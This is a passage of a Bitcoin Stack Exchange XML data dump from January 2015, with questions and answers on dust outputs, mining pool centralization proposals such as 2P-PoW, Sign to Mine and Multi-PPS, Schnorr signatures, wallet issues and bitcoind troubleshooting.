Tags="|transactions|transaction-fees|dust|micropayments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34283" PostTypeId="2" ParentId="17690" CreationDate="2015-01-04T20:42:52.467" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://bitcoinfaucet.uo1.net/&quot; rel=&quot;noreferrer&quot;&gt;http://bitcoinfaucet.uo1.net/&lt;/a&gt; - about 4000 testnet coins now&lt;/p&gt;&#xA;" OwnerUserId="21751" LastActivityDate="2015-01-04T20:42:52.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34284" PostTypeId="2" ParentId="34281" CreationDate="2015-01-04T22:00:16.967" Score="2" Body="&lt;p&gt;Let's take a step back and define dust: dust is an transaction output with a very low value.  When creating an input to a new transaction that spends that output, you have to use 36 bytes to reference it (the &lt;a href=&quot;https://bitcoin.org/en/developer-reference#outpoint&quot; rel=&quot;nofollow&quot;&gt;outpoint&lt;/a&gt;), about 72 bytes for the signature, either 65 or 33 bytes for the public key (depending on whether it was &lt;a href=&quot;https://bitcoin.org/en/developer-guide#public-key-formats&quot; rel=&quot;nofollow&quot;&gt;compressed&lt;/a&gt;, plus about 10 more bytes for other things.  Let's round it to 150 bytes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction fees are usually computed per kilobyte, so if you pay 0.0001 BTC per kB, dust is not worth spending if its worth less than 0.0000015 BTC.  Hopefully, defining all this will make the following answers a bit more clear.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoin Core's &quot;raw&quot; RPCs let you choose what outputs to spend.  You'll typically run &lt;a href=&quot;https://bitcoin.org/en/developer-reference#listtransactions&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;listtransactions&lt;/code&gt;&lt;/a&gt; to get outputs available to your wallet, &lt;a href=&quot;https://bitcoin.org/en/developer-reference#createrawtransaction&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;createrawtransaction&lt;/code&gt;&lt;/a&gt; to create a transaction spending specific outputs, &lt;a href=&quot;https://bitcoin.org/en/developer-reference#signrawtransaction&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;signrawtransaction&lt;/code&gt;&lt;/a&gt; to sign the transaction, and &lt;a href=&quot;https://bitcoin.org/en/developer-reference#sendrawtransaction&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;sendrawtransaction&lt;/code&gt;&lt;/a&gt; to broadcast the transaction to the network.  If you do this, you want to be very careful---once a transaction has been broadcast, it's very difficult to change any mistakes in it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As you alluded to in your question, Peter Todd's &lt;a href=&quot;https://github.com/petertodd/dust-b-gone/&quot; rel=&quot;nofollow&quot;&gt;dust-b-gone&lt;/a&gt; will purge a Bitcoin Core wallet of dust transactions by giving them to someone else (Todd, I think, but it could go to 100% transaction fees---either way, nobody is getting rich off dust).  I haven't used it, but the instructions look simple.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, if you transfer everything in the wallet, the dust will be gone.  That's because dust is an output from a previous transaction---once you use that output as an input in a new transaction, all that matters is the value of the output in that new transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Although I've never used Bitcoin Core with dust, it's likely to be the smartest Bitcoin wallet about keeping dust-related transaction fees low---so if you want an easy graphical solution, I suggest just using &lt;a href=&quot;https://bitcoin.org/en/download&quot; rel=&quot;nofollow&quot;&gt;Bitcoin-Qt&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-04T22:00:16.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34285" PostTypeId="2" ParentId="26961" CreationDate="2015-01-05T00:48:46.857" Score="0" Body="&lt;p&gt;&lt;strong&gt;Staying within the bounds of the current Bitcoin protocol, there is really no way to do this.&lt;/strong&gt; As it stands now, miners get rewarded regularly for their work if they pool together, and infrequently if they mine individually. And since most would rather be rewarded more than once every 100 years, miners are incentivized to pool together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is probably worth noting that if pool mining really were made impossible, then it might have a negative effect on the security of the system. This is because smaller miners would likely not contribute, as they would not see rewards frequently enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few proposals for limiting mining centralization. I'll describe two of them here. Multi-PPS (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=281180.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=281180.0&lt;/a&gt;) is another, but I am not as familiar with this.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;2P-PoW&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Ittay Eyal, and Emin Gün Sirer have a proposal called Two Phase Proof of Work (2P-PoW) that attempts to address mining centralization - &lt;a href=&quot;http://hackingdistributed.com/2014/06/18/how-to-disincentivize-large-bitcoin-mining-pools/&quot; rel=&quot;nofollow&quot;&gt;http://hackingdistributed.com/2014/06/18/how-to-disincentivize-large-bitcoin-mining-pools/&lt;/a&gt;. This quote shows how it works:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A two-phase PoW consists of a block that has two separate cryptopuzzles in it. Under a two-phase PoW: &lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;The double hash of the header (SHA256(SHA256(header))) is smaller than a difficulty parameter X, and &lt;/li&gt;&#xA;  &lt;li&gt;The header is signed with the coinbase transaction's private key, and the hash (SHA256(SIG(header, privkey))) of that signature is&#xA;  smaller than a second difficulty parameter Y.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Part 1 is exactly how mining is done now in Bitcoin. Part 2 makes it so that only a single key can be used to collect rewards in the coinbase transaction, and the block header is repeatedly signed with that key after part 1 is done until finding something that hashes low enough. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part 1 can be done by many miners pooling together, while part 2 would mainly be done by 1 person (or one small group of people that trust each other enough to share the mining private key with one another -- this key gets all the profits of mining, so you want to make sure that anyone who has it is not going to take the money and run). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By adjusting the difficulties of these two components, it can be made easier/harder to pool mine. Since only the pool operator(s) can do phase 2, if phase 2 is made more and more difficult, then fewer pool operators will be able to complete the second part of the 2P-PoW, even if they have millions of miners doing Part 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like a very good idea, except for one thing. How can we, in a decentralized way, determine how the difficulties should change? Ideally, you could have a way to see how much pool mining is going on, and if one pool has a large percentage of the mining power, then make the Part 2 difficulty higher. This could be done in a centralized way easily, but this starts to defeat the entire point of using cryptocurrency. It could be done with a hard coded parameters about the difficulty schedule, but what if we get it wrong and it either (1) makes the block chain extremely hard to mine and everyone just has to mine solo or (2) makes it extremely easy to do Part 2, and doesn't have the intended effect of limiting pool mining at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know of any 2P-PoW coins. It is an interesting idea, but there doesn't seem to be a good way to alter the difficulty parameters in a decentralized way, and to be sure to meet the intended goal of limiting pool centralization.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Sign to Mine&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In a sense, Sign to Mine is similar to just having the second phase of 2P-PoW, although it is implemented quite differently. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sign to Mine (first implemented by &lt;a href=&quot;https://www.ziftrcoin.com/what-is-ziftrcoin/coin-specifications/&quot; rel=&quot;nofollow&quot;&gt;ziftrCOIN&lt;/a&gt;) basically eliminates the &lt;code&gt;nNonce&lt;/code&gt; field of block headers and replaces it with an ECDSA signature (R, S). As always, valid blocks must hash (hash of whole header, including signature) to a low enough value to satisfy the difficulty parameter. There is an additional rule, however, that blocks must also have a valid signature of the other parts of the block header, validated with the public key receiving payments in the coinbase (block reward) transaction. &lt;strong&gt;Essentially, Sign to Mine uses cryptography to ensure that the miner is able to spend the rewards for the mined block.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sign to Mine makes it so that the person who mined the block (produced the right (R,S) pair to make the block header has low enough) has to also be able to spend the reward for that block. So, you can't really mine for the pool operator anymore, as &lt;em&gt;you need a private key to mine and only the public key for the mining private key can be used to reap the profit from mining&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners who wish to pool together would likely mine individually and split up the rewards. This is problematic, though, because a member may accept rewards according to shares when he/she is not the one to solve the block, but then may steal the whole block reward when he/she is the one to solve the block. Hence, pooled mining is disincentivized. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If one is to participate in Sign to Mine pooled mining, then he/she would want to make sure that the other members of the pool are trustworthy and will fairly distribute the reward when they solve blocks. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Conclusion&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There are sort of three levels of pooled mining disincentivization.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;(Bitcoin) No disincentives. Incentivize pooled mining through limiting variance of rewards.&lt;/li&gt;&#xA;&lt;li&gt;(2P-PoW) Some disincentives. Allow some pooled mining, but make it difficult to create unnecessarily large pools. &lt;/li&gt;&#xA;&lt;li&gt;(Sign to Mine) Completely disincentivized. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The middle ground, 2P-PoW, would be great if we could (in a decentralized way) determine how much pooled mining is going on. While it would be nice to be somewhere in the middle, the only complete solutions that exist are polarized. Either pool mining is completely allowed (Bitcoin), or it is mostly eliminated (Sign to Mine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Bitcoin is unlikely to change, and centralization will likely be limited by conscientious miners choosing not to join excessively large pools. Unfortunately, this doesn't seem to limit centralization all that much. &lt;a href=&quot;https://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/pools&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-05T03:11:08.173" LastActivityDate="2015-01-05T03:11:08.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34286" PostTypeId="1" AcceptedAnswerId="34290" CreationDate="2015-01-05T01:27:01.153" Score="2" ViewCount="533" Body="&lt;p&gt;I know the original proposal on bitcointalk is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=281180.0&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but can someone explain it more succinctly?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How does Multi-PPS work?&lt;/li&gt;&#xA;&lt;li&gt;Can it actually prevent mining centralization?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="5406" LastEditDate="2016-03-16T07:48:54.690" LastActivityDate="2016-03-16T07:48:54.690" Title="What is Multi-PPS (Pay Per Share)?" Tags="|mining-pool-shares|decentralization|pool-payout-methods|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34287" PostTypeId="2" ParentId="24300" CreationDate="2015-01-05T02:02:21.090" Score="2" Body="&lt;p&gt;I had the same problem and while trying to find a solution I found many people suggesting to install the x86 version of Java which is stupid if you actually run a x64 operating system. Others suggested to try out MultiBit HD which isn't officially released yet, that's probably not a good idea either. Took me quite a while but I figured out how to get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems like MultiBit is using IzPack and JSmooth and the second one has a problem to localize x64 version of Java on your system. To fix this set the JAVA_HOME environment as suggested above.&#xA;&lt;a href=&quot;https://confluence.atlassian.com/display/DOC/Setting+the+JAVA_HOME+Variable+in+Windows&quot; rel=&quot;nofollow&quot;&gt;https://confluence.atlassian.com/display/DOC/Setting+the+JAVA_HOME+Variable+in+Windows&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21754" LastActivityDate="2015-01-05T02:02:21.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34288" PostTypeId="1" AcceptedAnswerId="35351" CreationDate="2015-01-05T02:16:16.557" Score="26" ViewCount="5150" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=511074.msg5727641#msg5727641&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adam Back (adam3us) explained in March, 2014&lt;/a&gt;, but it is all math. There's &lt;a href=&quot;https://sourceforge.net/p/bitcoin/mailman/message/31505652/&quot; rel=&quot;nofollow noreferrer&quot;&gt;another short post with advantages&lt;/a&gt;, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://crypto.stackexchange.com/a/5959/12089&quot;&gt;This answer&lt;/a&gt; on crypto.SE claims that Bitcoin considered using Ed25519 which is based on Schnorr signatures, but decided against it. Even if it is not going to get used, I'd still like to know the implications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's &lt;a href=&quot;https://github.com/bitcoin/secp256k1/pull/212&quot; rel=&quot;nofollow noreferrer&quot;&gt;a pull request adding them to libsecp256k1&lt;/a&gt;. [edit 2019: that pull request used a &lt;a href=&quot;https://github.com/bitcoin-core/secp256k1/pull/425&quot; rel=&quot;nofollow noreferrer&quot;&gt;flawed approach&lt;/a&gt;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gavin mentioned them on &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/2jw5pm/im_gavin_andresen_chief_scientist_at_the_bitcoin/clfp3xj&quot; rel=&quot;nofollow noreferrer&quot;&gt;his wish-list for Bitcoin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3347" LastEditorUserId="3347" LastEditDate="2019-02-20T13:13:54.110" LastActivityDate="2019-02-20T13:13:54.110" Title="What are the implications of Schnorr signatures?" Tags="|signature|multi-signature|gavin-andresen|schnorr-signatures|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="34290" PostTypeId="2" ParentId="34286" CreationDate="2015-01-05T03:30:56.443" Score="2" Body="&lt;p&gt;If I understand multi-PPS correctly, it's really simple.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;How does multi-PPS work:&lt;/strong&gt; Miner Alice registers with Bob's pool: she gives Bob one of her addresses (to use for payouts) and Bob gives her one of his addresses (to use in coinbase transactions). Bob will give Alice credit for mining shares which pay that coinbase address, and at defined intervals or compensation levels, he'll send payment to her payout address. Alice also registers with Charlie's pool, which gives her a different coinbase address that does the same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a protocol like GetBlockTemplate, Alice gets a block template from any full node and inserts a custom coinbase transaction with two outputs: one that pays 50% of reward+fees to the coinbase address from Bob's pool, and one that pays 50% to the coinbase address from Charlie's pool. When Alice finds a share, she submits a &lt;a href=&quot;https://bitcoin.org/en/developer-reference#merkleblock&quot; rel=&quot;nofollow&quot;&gt;merkleblock&lt;/a&gt; for its coinbase transaction, plus the coinbase transaction itself, to both pools. Both pools give her 50% credit for that share based on difficulty, pool fees, and other pool rules. The same thing happens for a block, except that Alice only has to submit the full block once so it gets on the block chain---the pools will still give her credit for it as a share once they see it on the block chain. At the defined reward interval, which is up to pool policy, each pool pays Alice's payout address based on the number of shares she submitted and the percentage each credited towards the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two pools each with 50% is the example here, but in reality Alice will be able to distribute her 100% among as many pools in whatever proportion she wants, provided it's technically possible and allowed by pool policy.  Because this is Pay-Per-Share (PPS), Alice's variance is fully determined by share difficulty---so Alice makes the same amount of money mining for a tiny pool as a giant pool as long as the share difficulty is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The kicker---if I understand correctly---is that multi-PPS also reduces variance of pools to the average of all the pools their miners mine in.  For example, if all mining was done in pools and every miner mined in every pool (no matter how little of their reward they dedicated to any particular pool), every pool would have variance exactly equal to that of regular block creation (e.g. 99.8% chance a block will be mined within 60 minutes: &lt;code&gt;1-exp(-1/10.*60)&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Can multi-PPS prevent mining centralization:&lt;/strong&gt; You can't prevent what has already happened. :-)  Seriously, multi-PPS isn't a cure-all (and Mr. Rosenfeld doesn't claim it is), and there are still economies of scale that benefit large pools---including things that no Bitcoin technology can fix, like marketing advantages.  What multi-PPS offers is the ability of small pools to have the same variance as large pools, equalizing one significant competitive advantage large pools currently enjoy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multi-PPS has the additional highly-beneficial advantage that, in order to implement it, block-creation policy must be separated to a certain degree from pool payouts---in other words, if Alice mines in both Bob and Charlie's pools at the same time, neither Bob nor Charlie will have as much centralized control over what transactions Alice creates, further decentralizing mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is also multi-PPS's primary weakness and likely the reason nobody has implemented it in the 15 months since Mr.  Rosenfeld first described it: current mining and pool software isn't fully compatible with decentralized mining. And, except for Bitcoin Core developer Luke-Jr, I don't know of anyone focusing on making decentralized pooled mining possible. (Perhaps everyone else who really cares about decentralized pooled mining has already switched to P2Pool.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An additional weakness is that most people may not care enough to use multiple pools, or that they have come to trust certain pool operators. Because multi-PPS makes small pools more competetive, hopefully they'll be able to innovate to make themselves more desirable to miners. For example, they can make immediate payouts for each share received using a &lt;a href=&quot;https://bitcoin.org/en/developer-guide#micropayment-channel&quot; rel=&quot;nofollow&quot;&gt;micropayment channel&lt;/a&gt;, significantly reducing the trust miners need to place in the pool operator.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="21052" LastEditDate="2015-01-05T15:06:49.270" LastActivityDate="2015-01-05T15:06:49.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34291" PostTypeId="1" CreationDate="2015-01-05T04:08:19.627" Score="2" ViewCount="223" Body="&lt;p&gt;I am working on a bitcoin development environment in a box, and I've got the bitcoin reference implementation compiling and running so far in this vagrant environment: &lt;a href=&quot;https://github.com/tlehman/bitcoin-vagrant&quot; rel=&quot;nofollow&quot;&gt;https://github.com/tlehman/bitcoin-vagrant&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another feature I would like to add is an optional script in /home/vagrant that can download the bootstrap.dat file to speed up downloading the blockchain. My first stab at this problem was to use transmission-cli to download  &lt;a href=&quot;https://bitcoin.org/bin/blockchain/bootstrap.dat.torrent&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/bin/blockchain/bootstrap.dat.torrent&lt;/a&gt;, and then copy it to ~/.bitcoin/, and then fire up &lt;code&gt;bitcoind&lt;/code&gt; for the first time. This works, but it fills up the virtual machine, and it still takes a long time to get imported. On top of that, a &lt;code&gt;vagrant destroy&lt;/code&gt; command would blow away all the blockchain data, which is not desirable, I'd like to decouple the data from the program and it's dependencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I tried to solve this was to mount ~/.bitcoin/ as /vagrant/data/ (which is mounted to a folder in the host filesystem). The problem I am having is that when I run &lt;code&gt;bitcoind -daemon&lt;/code&gt;, I get an error saying&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin server starting&#xA;vagrant@precise64:~$ : Error opening block database.&#xA;&#xA;Do you want to rebuild the block database now?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My first guess was that the ~/.bitcoin/bootstrap.dat file was corrupted, but the SHA256 of the file is &lt;code&gt;d05062052be4dd6fbaeac5f17598e52f7ad545f9f938acefaf7067ecce1d7b5a&lt;/code&gt;, which matches the SHA256 in the &lt;a href=&quot;https://bitcoin.org/bin/blockchain/bootstrap.txt&quot; rel=&quot;nofollow&quot;&gt;torrent's readme&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My second guess was that LevelDB needs some filesystem feature that isn't present in VirtualBox's synced directories, but I am not sure what that would be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to fix this or work around it?&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2015-01-06T00:18:04.663" Title="Bitcoind running in vagrant can't import bootstrap.dat from external directory" Tags="|bitcoind|bootstrap.dat|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34292" PostTypeId="1" AcceptedAnswerId="34317" CreationDate="2015-01-05T06:49:52.677" Score="5" ViewCount="9282" Body="&lt;p&gt;I don't want to spend transaction fee for transferring coins to unencrypted wallet.dat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do?&lt;/p&gt;&#xA;" OwnerUserId="21758" LastActivityDate="2015-01-08T00:21:29.443" Title="How to convert encrypted wallet.dat to decrypted? (Yes, I know the password)" Tags="|wallet|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34294" PostTypeId="2" ParentId="34292" CreationDate="2015-01-05T14:58:58.347" Score="-1" Body="&lt;p&gt;You can make a paper wallet from actual addresses, then delete wallet.dat, create new one and import paper wallets on created unencypted wallet.dat file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you must to remember about the &quot;change address&quot; mechanism because you can lose your bitcoins forever.&lt;/p&gt;&#xA;" OwnerUserId="83779" LastEditorUserId="83779" LastEditDate="2015-01-07T09:05:49.343" LastActivityDate="2015-01-07T09:05:49.343" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34295" PostTypeId="1" AcceptedAnswerId="35468" CreationDate="2015-01-05T15:54:39.877" Score="2" ViewCount="572" Body="&lt;p&gt;Here is what I did:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Downloaded Bcoiner on my iPad.&lt;/li&gt;&#xA;&lt;li&gt;Made an account.&lt;/li&gt;&#xA;&lt;li&gt;Generated a new address, which was &lt;a href=&quot;https://blockchain.info/address/1NEuLDXuBRTYfcbGpzUbpkr4Sg2p7sNLB4&quot; rel=&quot;nofollow&quot;&gt;1NEuLDXuBRTYfcbGpzUbpkr4Sg2p7sNLB4&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;I sent 4.69 bitcoins to this address.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I logged back into my account an hour or so later. I found that the address which I created earlier above has disappeared. I sent all my coins there.  I can see that they made it to the address but I have no access to them because the address is no longer visible on my account with Bcoiner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have emailed support at Bcoiner; they have not replied.&lt;/p&gt;&#xA;" OwnerUserId="21768" LastEditorUserId="2306" LastEditDate="2015-01-05T16:03:32.087" LastActivityDate="2018-04-26T17:59:00.367" Title="Address no longer shows up in Bcoiner account" Tags="|wallet|lost-bitcoins|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34297" PostTypeId="2" ParentId="10447" CreationDate="2015-01-05T22:12:41.610" Score="-1" Body="&lt;p&gt;For the most updated list, take a look here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://exchangewar.info/coinprice?LTC_BTC&quot; rel=&quot;nofollow&quot;&gt;http://exchangewar.info/coinprice?LTC_BTC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find those exchanges using fiat currency too. For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://exchangewar.info/coinprice?LTC_USD&quot; rel=&quot;nofollow&quot;&gt;http://exchangewar.info/coinprice?LTC_USD&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://exchangewar.info/coinprice?LTC_EUR&quot; rel=&quot;nofollow&quot;&gt;http://exchangewar.info/coinprice?LTC_EUR&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://exchangewar.info/coinprice?LTC_CNY&quot; rel=&quot;nofollow&quot;&gt;http://exchangewar.info/coinprice?LTC_CNY&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc. ;)&lt;/p&gt;&#xA;" OwnerUserId="15748" LastActivityDate="2015-01-05T22:12:41.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34298" PostTypeId="2" ParentId="34291" CreationDate="2015-01-06T00:18:04.663" Score="1" Body="&lt;p&gt;With bitcoind 0.10 (current release candidate) you don't need bootstrap at all anymore as it downloads faster and more efficient than bittorrent would. Bootstrap is probably going to disappear soon. So you might not want to bother at all.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-01-06T00:18:04.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34299" PostTypeId="1" CreationDate="2015-01-06T01:42:23.760" Score="1" ViewCount="1313" Body="&lt;p&gt;I have some BTC (and I really need money now) on my Blockchain.info account, I can't withdraw them (just send them to another BTC address) as it tells me &quot;Private key does not match bitcoin address [my address] = [probablyprivkey1] | [probablyprivkey2]&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address was created on blockchain.info, not imported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The incomes are from Apr 03, 2013, and although I was trying to withdraw them for some time, now I've realized that is the last time those bitcoins will be a really large amount of money for me — 0.3651BTC (I'm living in Poland, so it is ~360.59PLN).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't found an answer on forums, so I decided to ask about it myself.&lt;/p&gt;&#xA;" OwnerUserId="21777" LastEditorUserId="21777" LastEditDate="2015-01-06T03:33:18.430" LastActivityDate="2017-12-13T05:31:46.977" Title="Can't withdraw from blockchain.info: &quot;Private key does not match bitcoin address [my address] = [probablyprivkey1] | [probablyprivkey2]&quot;" Tags="|blockchain.info|private-key|withdrawal|" AnswerCount="0" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="34300" PostTypeId="1" CreationDate="2015-01-06T03:13:28.493" Score="2" ViewCount="3310" Body="&lt;p&gt;How to get the list of transactions that has deposited funds in an address, including information about the amount that has been deposited (sent towards my address not sent away from it), and the date when the transaction occurred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example here is address A (my address) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;TX 1)  from address B , 2   bitcoins , 2014 1 january 12:12 pm &#xA;TX 2)  from address C , 1   bitcoins , 2014 2 january 7:51 am &#xA;TX 3)  from address D , 4   bitcoins , 2014 5 january 3:22 am &#xA;TX 4)  from address E , 0.5 bitcoins , 2014 6 january 1:42 pm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, I want it to use an API that is online, so that I don't need to download the whole block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferably blockchain.info API or blockexporer.com API would be nice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A link to a tutorial would also be helpful. I have an specific application in mind that needs this info for an address. &lt;/p&gt;&#xA;" OwnerUserId="21779" LastEditorUserId="18196" LastEditDate="2015-01-06T05:02:00.680" LastActivityDate="2017-03-20T16:53:00.667" Title="How to get the list of transactions that has gone into an address with the amount and date?" Tags="|transactions|api|blockchain.info|blockexplorer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34301" PostTypeId="1" CreationDate="2015-01-06T04:45:04.713" Score="1" ViewCount="57" Body="&lt;p&gt;I tried to get a transaction information using RPC method &lt;code&gt;getrawtransaction&lt;/code&gt; in my synchronized node, but I got no information about the transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did it in another node, and I could get the transaction information. How could this be? Maybe the database is corrupted? But I would think that when starting bitcoind, bitcoind would check the database. Maybe I am wrong. Can anyone can tell me how to figure out this case? Big thanks.&lt;/p&gt;&#xA;" OwnerUserId="21175" LastEditorUserId="15143" LastEditDate="2015-01-07T01:23:51.230" LastActivityDate="2015-01-07T01:23:51.230" Title="Confirmed transactions lost in my synchronised node" Tags="|transactions|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34302" PostTypeId="2" ParentId="34301" CreationDate="2015-01-06T04:57:33.603" Score="2" Body="&lt;p&gt;There could be a few possible reasons for this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The most likely problem is that you don't have &lt;code&gt;-txindex=1&lt;/code&gt; enabled. By default, the core client doesn't keep track of all full transaction details unless you tell it to with &lt;code&gt;-txindex=1&lt;/code&gt; when starting it. If you want to maintain the full index, shut down and restart with that flag. It will give you a message about needing to reindex everything, that could take a little while.&lt;/li&gt;&#xA;&lt;li&gt;It may also be possible that one of the daemons was actually in testnet, unintentionally. Make sure they are both on the same network.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The daemon will keep an index of full transaction data for all of your own wallet transactions. That might be why one of your nodes knew about it and the other didn't.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-01-06T04:57:33.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
